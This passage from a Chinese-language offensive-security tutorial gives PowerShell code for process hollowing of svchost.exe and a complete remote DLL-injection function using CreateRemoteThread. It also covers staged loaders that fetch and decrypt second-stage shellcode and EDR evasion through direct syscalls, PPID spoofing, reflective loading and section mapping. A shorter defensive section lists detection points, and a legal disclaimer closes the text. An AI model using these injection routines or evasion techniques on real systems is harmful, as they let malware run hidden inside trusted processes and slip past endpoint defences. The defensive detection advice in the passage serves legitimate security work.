lpProcessInformation ); [DllImport(ntdll.dll)] public static extern int NtUnmapViewOfSection( IntPtr hProcess, IntPtr baseAddress ); // 此处省略其他大量API声明ReadProcessMemory, WriteProcessMemory, VirtualAllocEx, // GetThreadContext, SetThreadContext, ResumeThread, VirtualProtectEx等... } “ # 将C#代码编译并加载到当前PowerShell会话中 Add-Type -TypeDefinition $Win32Definitions -Language CSharp # 主函数逻辑 function Start-Hollow { param( [string]$TargetProcessPath C:\Windows\System32\svchost.exe, [byte[]]$PayloadBytes # 这是我们的恶意PE文件的字节数组 ) # 1. 创建挂起的进程 $si New-Object Win32STARTUPINFO $si.cb [System.Runtime.InteropServices.Marshal]::SizeOf($si) $pi New-Object Win32PROCESS_INFORMATION $success [Win32]::CreateProcess( $null, $TargetProcessPath, [IntPtr]::Zero, [IntPtr]::Zero, $false, [Win32]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi ) if (!$success) { throw 创建进程失败 } Write-Host [] 挂起进程创建成功PID: $($pi.dwProcessId) # 2. 获取线程上下文 (以x64为例需要定义CONTEXT结构此处简化) # ... 调用 GetThreadContext ... # 3. 读取目标进程PE头获取ImageBase和SizeOfImage # ... 调用 ReadProcessMemory 读取目标进程内存 ... # 4. 使用NtUnmapViewOfSection卸载原始映像 $ntStatus [Win32]::NtUnmapViewOfSection($pi.hProcess, $originalImageBase) if ($ntStatus -ne 0) { throw 卸载内存段失败 } Write-Host [] 原始PE映像已从内存中解除映射 # 5. 在目标进程分配新内存并写入Payload $allocAddr [Win32]::VirtualAllocEx($pi.hProcess, $originalImageBase, $payloadSize, [Win32]::MEM_COMMIT -bor [Win32]::MEM_RESERVE, [Win32]::PAGE_EXECUTE_READWRITE) if ($allocAddr -eq [IntPtr]::Zero) { throw 内存分配失败 } Write-Host [] 在目标进程分配内存地址: 0x$($allocAddr.ToString(X16)) $bytesWritten 0 $success [Win32]::WriteProcessMemory($pi.hProcess, $allocAddr, $PayloadBytes, $PayloadBytes.Length, [ref]$bytesWritten) if (!$success) { throw 写入Payload失败 } Write-Host [] Payload写入成功大小: $bytesWritten 字节 # 6. 可选修复重定位 (此处逻辑复杂需解析PE结构略) # 7. 修复线程上下文将入口点指向我们Payload的地址 # $context.Rip $allocAddr $payloadEntryPointRVA # ... 调用 SetThreadContext ... # 8. 恢复线程执行 $resumeResult [Win32]::ResumeThread($pi.hThread) Write-Host [] 线程已恢复Hollowing完成。 # 清理句柄 [Win32]::CloseHandle($pi.hThread) [Win32]::CloseHandle($pi.hProcess) }3.3 实操要点与避坑指南在实际操作Start-Hollow时以下几个细节决定了成败目标进程选择并非所有进程都适合空洞化。svchost.exe是经典选择因为它数量多、行为常见、且通常以SYSTEM或高权限运行。但现代EDR会监控svchost的异常内存操作。可以尝试其他白名单进程如rundll32.exe、dllhost.exe甚至一些第三方可信软件。关键是要模仿该进程的正常行为避免产生明显的命令行参数或子进程异常。Payload构造你的恶意PE文件必须是位置无关代码PIC或已正确处理重定位。最简单的方法是使用Metasploit的msfvenom生成一个纯Shellcode然后将其嵌入到一个极小的、自定义的PE加载器Loader中。这个Loader的唯一功能就是在内存中定位并执行Shellcode。这样Loader可以编译为支持重定位/DYNAMICBASE增加在原始基址分配成功的概率。权限与绕过即使以管理员身份运行某些敏感操作也可能被拦截。NtUnmapViewOfSection是一个底层Native API调用它可能触发内核回调被一些高级EDR记录。在对抗性强的环境中可能需要寻找替代方案或者通过更复杂的内存操作如VirtualProtectEx修改权限后覆盖内存来模拟卸载和重新分配的效果。错误处理上述示例代码省略了大部分错误检查。在实际脚本中每一个API调用后都必须检查返回值或调用[System.Runtime.InteropServices.Marshal]::GetLastWin32Error()。进程注入失败的原因千奇百怪内存地址冲突、权限不足、进程退出、结构体对齐问题等等。完善的错误日志是调试的唯一帮手。4. 进阶掌握Stage-RemoteDll远程DLL注入技术如果说Start-Hollow是“夺舍”那么Stage-RemoteDll就是“附身”。它不破坏宿主进程的原有主体而是让一个额外的DLL在其内部运行。这是目前更流行、更灵活的注入方式。4.1 技术原理与核心方法对比远程DLL注入的核心在于三个步骤将DLL路径或映像写入目标进程空间让目标进程调用LoadLibrary来加载这个DLL执行DLL的入口函数DllMain。实现这一步的关键在于“如何在目标进程的上下文中执行代码”。主要有三种经典方法方法核心API原理简述优点缺点CreateRemoteThreadCreateRemoteThread,LoadLibraryA/W在目标进程创建一个全新的远程线程线程的启动例程设为LoadLibrary函数地址参数为DLL路径字符串地址。经典、可靠、兼容性好。创建新线程行为明显容易被基于线程创建的检测规则发现。QueueUserAPC (APC注入)QueueUserAPC向目标进程中一个处于可警告等待状态的线程插入一个异步过程调用(APC)。APC函数设为LoadLibrary。利用现有线程不创建新线程相对隐蔽。需要目标线程进入可警告等待状态如SleepEx,WaitForSingleObjectEx时机不确定。SetWindowsHookExSetWindowsHookEx设置一个全局Windows钩子。钩子过程函数在DLL中当DLL被注入到处理钩子消息的进程时系统会自动加载它。利用Windows消息机制非常隐蔽。主要对拥有消息泵的GUI进程有效对服务类进程无效。可能影响系统UI响应。Stage-RemoteDll通常指第一种或第二种方法尤其是与“阶段化”攻击结合时。例如先注入一个微型的“DLL加载器”这个加载器再通过网络下载或解密出完整的第二阶段DLL并加载。4.2 PowerShell实现CreateRemoteThread 方式详解我们以最经典的CreateRemoteThread为例看看如何在PowerShell中实现。同样我们需要大量P/Invoke定义。function Invoke-RemoteDllInjection { param( [int]$ProcessId, [string]$DllPath ) # 1. 打开目标进程获取句柄 (需要PROCESS_ALL_ACCESS或至少PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION) $hProcess [Win32]::OpenProcess(0x001F0FFF, $false, $ProcessId) # PROCESS_ALL_ACCESS if ($hProcess -eq [IntPtr]::Zero) { throw 无法打开进程ID: $ProcessId } # 2. 在目标进程内存中分配空间用于存放DLL路径字符串 $dllPathBytes [System.Text.Encoding]::Unicode.GetBytes($DllPath 0) # 宽字符以\0结尾 $dllPathSize $dllPathBytes.Length $remoteDllPathAddr [Win32]::VirtualAllocEx($hProcess, [IntPtr]::Zero, $dllPathSize, [Win32]::MEM_COMMIT -bor [Win32]::MEM_RESERVE, [Win32]::PAGE_READWRITE) if ($remoteDllPathAddr -eq [IntPtr]::Zero) { throw 无法在远程进程分配内存 } # 3. 将DLL路径字符串写入目标进程 $bytesWritten 0 $success [Win32]::WriteProcessMemory($hProcess, $remoteDllPathAddr, $dllPathBytes, $dllPathSize, [ref]$bytesWritten) if (!$success) { throw 无法写入DLL路径到远程进程 } # 4. 获取LoadLibraryW函数在kernel32.dll中的地址 # 注意LoadLibrary地址在同一个系统的所有进程中是一样的因为kernel32.dll加载基址相同 $hKernel32 [Win32]::GetModuleHandle(kernel32.dll) $loadLibraryAddr [Win32]::GetProcAddress($hKernel32, LoadLibraryW) # 使用宽字符版本 # 5. 创建远程线程线程函数为LoadLibraryW参数为DLL路径字符串地址 $hRemoteThread [Win32]::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $loadLibraryAddr, $remoteDllPathAddr, 0, [IntPtr]::Zero) if ($hRemoteThread -eq [IntPtr]::Zero) { throw 创建远程线程失败 } Write-Host [] 远程线程创建成功线程句柄: 0x$($hRemoteThread.ToString(X)) # 6. 等待线程执行完毕可选但建议等待以确保DLL加载完成 [Win32]::WaitForSingleObject($hRemoteThread, 0xFFFFFFFF) | Out-Null # 7. 获取线程退出码即LoadLibrary返回的DLL模块句柄可用于后续卸载 $exitCode 0 [Win32]::GetExitCodeThread($hRemoteThread, [ref]$exitCode) Write-Host [] 远程线程退出LoadLibrary返回的模块句柄: 0x$($exitCode.ToString(X)) # 8. 清理资源 [Win32]::CloseHandle($hRemoteThread) # 注意通常不释放$remoteDllPathAddr的内存因为DLL加载后可能需要这个字符串。 # 如果确定不需要可以调用 VirtualFreeEx 释放。 [Win32]::CloseHandle($hProcess) Write-Host [] DLL注入完成。 }4.3 阶段化Staging实战从Loader到Shellcode单纯的DLL注入已经很强大了但“阶段化”将其提升到了新的高度。其核心思想是注入的第一个DLLStage 1非常小功能单一如一个下载器或解密器由它来负责获取、解密或加载真正的恶意载荷Stage 2。这带来了巨大优势规避静态扫描初始注入的DLL可能非常简单甚至完全良性难以被特征码检测。动态获取载荷最终载荷可以从网络、注册表、文件碎片等地方获取不直接存在于磁盘上绕过文件扫描。减小攻击面如果Stage 1被发现并终止攻击者可能没有暴露最终的C2地址或攻击工具。一个典型的Stage-RemoteDll流程在PowerShell中可能是这样的准备Stage 1 Loader DLL用C/C编写一个极小的DLL。它的DllMain函数可能从硬编码的URL或通过某种算法生成的URL下载一个加密的Blob。或者从进程的某个特定内存区域、环境变量、或一个看似无害的文件中读取加密数据。使用内置密钥解密该Blob。将解密后的数据即Stage 2 Shellcode或PE在内存中分配可执行内存并跳转执行。将Loader DLL注入目标进程使用上述的Invoke-RemoteDllInjection函数。Loader在目标进程内执行当LoadLibrary加载我们的Loader DLL时DllMain被自动调用开始执行下载和解密流程。Stage 2执行Loader将最终的Shellcode映射到内存并执行可能是通过CreateThread、函数指针调用或另一种进程注入技术如Early Bird APC注入来运行。在PowerShell中你可以使用Invoke-ReflectivePEInjectionPowerSploit项目中的另一个著名脚本的概念来辅助实现Stage 2的内存加载但核心的“阶段化”逻辑需要体现在你自定义的Loader DLL中。5. 对抗检测与高级规避技巧在当今的终端安全环境下原始的进程注入技术很容易被检测。了解如何对抗这些检测是将其从“概念验证”变为“实战武器”的关键。5.1 常见检测点与绕过思路检测层面检测点示例可能的绕过思路行为监控对CreateRemoteThread的调用特别是目标进程是lsass.exe,explorer.exe等敏感进程。使用QueueUserAPC或SetWindowsHookEx替代。或者将线程创建在svchost等看似正常的进程中。内存属性分配具有PAGE_EXECUTE_READWRITE权限的内存区域。这是典型的Shellcode行为。先分配PAGE_READWRITE内存写入Shellcode然后使用VirtualProtectEx更改为PAGE_EXECUTE_READ。或者利用已有的可执行内存区域如.text段进行覆盖。API调用链监控VirtualAllocEx-WriteProcessMemory-CreateRemoteThread这一经典调用链。使用间接系统调用Syscall直接与内核交互绕过用户态的API Hook。或者使用其他内存写入方式如NtMapViewOfSection共享内存。父-子进程关系检测到powershell.exe创建了svchost.exe但命令行异常。使用进程镂空Process Doppelgänging或父进程PID欺骗技术让新进程的父进程看起来是explorer.exe或services.exe。DLL加载监控从非标准路径或内存中加载的DLL。使用DLL反射加载Reflective DLL Injection即不通过LoadLibrary而是手动将DLL映像映射到内存并解析其导入表、重定位表直接调用入口点。这完全避免了DLL在模块列表中注册。5.2 实战技巧使用Syscall进行直接系统调用高级EDR通常会通过API钩子Hook来监控NtCreateThreadEx、NtAllocateVirtualMemory等关键Native API。绕过钩子的一个有效方法是直接进行系统调用Syscall即直接触发CPU的syscall指令跳转到内核中的系统服务分发器。在PowerShell中实现这一点比较棘手因为需要内联汇编或精心构造的Shellcode。但思路是明确的找到系统调用号SSN对于特定Windows版本NtCreateThreadEx等函数对应的系统调用号是固定的尽管不同版本可能不同。可以通过解析ntdll.dll在内存中的文本来动态查找或使用预定义的SSN表。准备Shellcode编写一段汇编代码该代码将系统调用号放入eax寄存器。将函数参数按顺序放入rcx,rdx,r8,r9寄存器其余压栈。执行syscall指令。返回。注入并执行Shellcode将这段Shellcode注入目标进程然后通过CreateRemoteThread或APC调用它。虽然PowerShell原生做这个很复杂但你可以用C#编译一个实现了直接系统调用的辅助DLL然后通过PowerShell加载和使用这个DLL。这实际上又回到了DLL注入的范畴但这个DLL的功能是提供“干净”的进程操作原语。5.3 内存操作隐匿使用Section对象映射另一个高级技巧是使用内存节Section对象。你可以先在当前进程创建一个Section对象并映射视图写入恶意代码。然后将这个Section对象句柄复制到目标进程通过DuplicateHandle并在目标进程中映射同一个Section的视图。这样两个进程就共享了同一块物理内存恶意代码无需通过WriteProcessMemory写入减少了被监控的写入操作。关键API是NtCreateSection和NtMapViewOfSection。这种方法在一些高级攻击框架如Cobalt Strike中有所使用能有效绕过对WriteProcessMemory的监控。6. 防御视角如何检测和防范此类攻击作为一名安全从业者只懂攻击不懂防御是不完整的。从防御者角度看如何发现系统内的进程注入行为启用并调优进程创建日志Windows安全日志Event ID 4688和SysmonEvent ID 1可以记录详细的进程创建信息。关注异常父进程、命令行参数、镜像路径。例如powershell.exe作为svchost.exe的父进程就是高度可疑的。监控模块加载Sysmon Event ID 7Image loaded可以记录DLL加载。关注从临时目录、用户目录或网络路径加载的DLL特别是加载到lsass.exe,svchost.exe等关键系统进程中的未知DLL。内存扫描与威胁狩猎使用EDR工具或自定义脚本定期扫描进程内存查找具有PAGE_EXECUTE_READWRITE属性的内存区域、查找与已知恶意软件特征码YARA规则匹配的内容或检测内存中是否存在MZ头PE文件标志但进程镜像路径不符的情况这是进程空洞化的典型迹象。检测线程创建监控CreateRemoteThread的调用特别是当目标进程是远程进程时。Sysmon Event ID 8CreateRemoteThread专门记录此事件。结合父进程、目标进程和启动函数地址进行关联分析。实施攻击面减少规则利用Windows Defender攻击面减少ASR规则或类似策略可以阻止Office应用程序、脚本宿主如powershell.exe、wscript.exe创建子进程或者阻止从电子邮件和Web邮件中执行的可执行内容。这能阻断许多依赖脚本启动的初始注入链。启用受控文件夹访问/勒索软件防护这可以阻止未经授权的进程对关键内存区域进行写入操作在一定程度上能干扰进程空洞化中写入Payload的步骤。理解攻击技术的每一步是为了能更精准地设置防御的检测点。通过分析Start-Hollow和Stage-RemoteDll的流程防御者可以构建出从进程创建、内存操作到线程执行的完整检测链条。7. 工具生态与扩展学习纯粹的脚本编写可能效率不高。安全社区已经有很多优秀的工具集成了这些技术并提供了更稳定、更隐蔽的实现。PowerSploit这是PowerShell攻击框架的鼻祖其中的Invoke-ReflectivePEInjection脚本是反射式DLL注入的经典实现。Invoke-DllInjection也提供了多种注入方式。研究它们的源码是绝佳的学习材料。Cobalt Strike Metasploit这两个商业/开源框架的“进程注入”、“迁移”功能背后就是这些技术的工业级实现。它们通常结合了多种规避技术如直接系统调用、内存加密等。Offensive Security 课程 (OSEP)如果你想系统化地学习这些绕过技术OSEPEvasion Techniques and Breaching Defenses课程提供了无与伦比的深度和实战环境。最后我必须再次强调法律与道德边界。所有这些知识都应在授权的渗透测试、安全研究或内部防御建设的环境中使用。未经授权的系统访问和攻击是非法的。真正的价值在于通过理解攻击者的手法我们能构建出更难以逾越的防御体系。当你下次在安全日志中看到一个异常的远程线程创建事件时希望你能立刻联想到今天讨论的CreateRemoteThread和LoadLibrary并迅速展开调查。这才是这些技术知识赋予防御者的真正力量。